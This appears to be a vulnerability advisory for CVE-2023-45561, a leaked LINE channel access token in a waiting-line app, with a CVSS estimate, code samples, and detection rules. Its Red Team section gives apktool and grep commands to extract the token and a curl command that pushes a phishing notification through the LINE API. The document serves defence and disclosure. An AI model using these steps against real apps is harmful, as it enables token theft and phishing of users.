CVE-2023-45561

Executive Summary

CVE-2023-45561 is a security advisory affecting the A-WORLD OIRASE BEER_waiting Line application, version 13.6.1. The vulnerability allows attackers to send crafted notifications by exploiting the leakage of the channel access token. This token, typically used for API authentication, is exposed in a way that enables unauthorized notification injection. The CVSS score is 0.0, indicating incomplete scoring data, but the practical risk is moderate due to the potential for social engineering or service disruption. No official patch is available, and the vendor has not acknowledged the issue. The EPSS score is 0.0%, suggesting low exploitation likelihood in the wild, but the existence of public proof-of-concept details raises the threat level for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a standalone mobile/web application. No supply chain implications are identified.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, meaning no official vector has been assigned. Based on the description, a reasonable vector would be:

• Attack Vector (AV): Network (N) – the token leakage can be exploited remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – attacker does not need authentication.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – exploitation does not affect other components.
• Confidentiality (C): Low (L) – token leakage reveals limited info.
• Integrity (I): Low (L) – attacker can send crafted notifications.
• Availability (A): None (N) – no direct DoS.

Estimated CVSS: 5.3 (Medium) – due to integrity impact from unauthorized notifications.

Deep Dive & Mechanics

The vulnerability stems from the exposure of the channel access token in the A-WORLD OIRASE BEER_waiting Line application (version 13.6.1). This token is used to authenticate API requests for sending notifications (e.g., LINE messaging API). The token is leaked through client-side code, insecure storage, or network traffic, allowing an attacker to capture it. Once obtained, the attacker can craft arbitrary notifications that appear to come from the legitimate service, potentially leading to phishing, misinformation, or service abuse.

Root Cause:

• The channel access token is hardcoded or transmitted insecurely (e.g., in JavaScript files, HTTP headers, or local storage).
• No token rotation or short-lived expiration is implemented.
• Lack of server-side validation for notification origin.

Attack Flow:

1. Attacker intercepts or extracts the channel access token from the application (e.g., via network sniffing, decompiling APK, or inspecting web traffic).
2. Attacker uses the token to send POST requests to the LINE Messaging API endpoint (e.g., https://api.line.me/v2/bot/message/push).
3. Crafted notifications are delivered to users, potentially containing malicious links or false information.

Vulnerable vs. Patched Code

No patched version exists. The vulnerable code likely contains the token in a configuration file or environment variable exposed to the client. A secure implementation would store the token server-side and use a proxy or backend service to send notifications.

Vulnerable Code Example (JavaScript):

// Vulnerable: token exposed in client-side code
const CHANNEL_ACCESS_TOKEN = "YOUR_TOKEN_HERE";
function sendNotification(userId, message) {
    fetch("https://api.line.me/v2/bot/message/push", {
        method: "POST",
        headers: {
            "Authorization": `Bearer ${CHANNEL_ACCESS_TOKEN}`,
            "Content-Type": "application/json"
        },
        body: JSON.stringify({
            to: userId,
            messages: [{ type: "text", text: message }]
        })
    });
}

Patched Code Example (Server-side proxy):

// Patched: token stored server-side, client calls backend
// server.js (Node.js)
const CHANNEL_ACCESS_TOKEN = process.env.CHANNEL_ACCESS_TOKEN;
app.post("/api/send-notification", (req, res) => {
    const { userId, message } = req.body;
    fetch("https://api.line.me/v2/bot/message/push", {
        method: "POST",
        headers: {
            "Authorization": `Bearer ${CHANNEL_ACCESS_TOKEN}`,
            "Content-Type": "application/json"
        },
        body: JSON.stringify({
            to: userId,
            messages: [{ type: "text", text: message }]
        })
    }).then(response => res.json(response));
});

Exploitation & Lab Setup

Red Team

Objective: Exploit the leaked channel access token to send crafted notifications.

Prerequisites:

• Target application version 13.6.1.
• Network access to intercept traffic or ability to decompile the app.

Steps:

1. Extract Token:

   • Use a proxy like Burp Suite to capture HTTP requests from the app. Look for Authorization: Bearer <token> in headers.
   • Alternatively, decompile the APK using apktool and search for the token in strings.xml or JavaScript files.

   apktool d OIRASE_BEER.apk
   grep -r "CHANNEL_ACCESS_TOKEN" ./OIRASE_BEER/
   

2. Send Crafted Notification:

   • Use the token to call the LINE Messaging API.

   curl -X POST https://api.line.me/v2/bot/message/push \
     -H "Authorization: Bearer <EXTRACTED_TOKEN>" \
     -H "Content-Type: application/json" \
     -d '{
       "to": "<TARGET_USER_ID>",
       "messages": [{"type": "text", "text": "Your account has been compromised. Click here to reset: http://malicious.link"}]
     }'
   

3. Verify:

   • Check if the target user receives the notification.

Blue Team

Objective: Detect and prevent exploitation of leaked tokens.

Detection:

• Monitor API calls to api.line.me for unusual patterns (e.g., high frequency, unexpected user IDs).
• Alert on any Authorization header containing a token that matches known application tokens.

Prevention:

• Rotate the channel access token immediately.
• Implement server-side notification sending (no client-side token exposure).
• Use short-lived tokens with refresh mechanisms.

Hunting:

• Search logs for POST /v2/bot/message/push with non-standard user agents or IPs.
• Check for token leakage in public repositories (e.g., GitHub) using secret scanning tools.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to api.line.me/v2/bot/message/push with Authorization: Bearer <token> from unexpected IPs.
  • Unusual notification content (e.g., phishing links, urgent language).
• File:
  • Presence of channel access token in client-side code (e.g., JavaScript, APK resources).
• Behavioral:
  • Multiple push notifications sent to users without corresponding user actions.
  • Notifications containing URLs not associated with the legitimate service.

Detection Engineering

YARA Rule

rule CVE_2023_45561_ChannelTokenLeak {
    meta:
        description = "Detects exposed LINE channel access tokens in client-side code"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-45561"
    strings:
        $token_pattern = /CHANNEL_ACCESS_TOKEN\s*=\s*["'][A-Za-z0-9\/+]{40,}["']/
        $bearer_pattern = /Bearer\s+[A-Za-z0-9\/+]{40,}/
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-45561 - Unauthorized LINE Notification Push
id: 8a3f2c1e-5d7b-4a9f-8c6e-2b1d3f4a5e6c
status: experimental
description: Detects attempts to push notifications via LINE API using leaked tokens
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        http.method: 'POST'
        http.url: '/v2/bot/message/push'
        http.host: 'api.line.me'
    condition: selection
falsepositives:
    - Legitimate application updates
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-45561 - LINE API Push Notification Abuse"; flow:to_server; http.method; content:"POST"; http.uri; content:"/v2/bot/message/push"; http.host; content:"api.line.me"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Rotate Channel Access Token: Generate a new token via the LINE Developers Console and update the application.
2. Remove Token from Client-Side: Move all API calls to a backend server.
3. Implement Token Expiry: Use short-lived tokens with refresh tokens.

Long-Term Fixes:

• Conduct a security audit of all client-side secrets.
• Use environment variables or secret management services (e.g., AWS Secrets Manager).
• Enable logging and monitoring for LINE API calls.

Workarounds:

• If patching is not possible, restrict API access by IP whitelisting (if supported by LINE).
• Notify users about potential phishing attempts via alternative channels.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert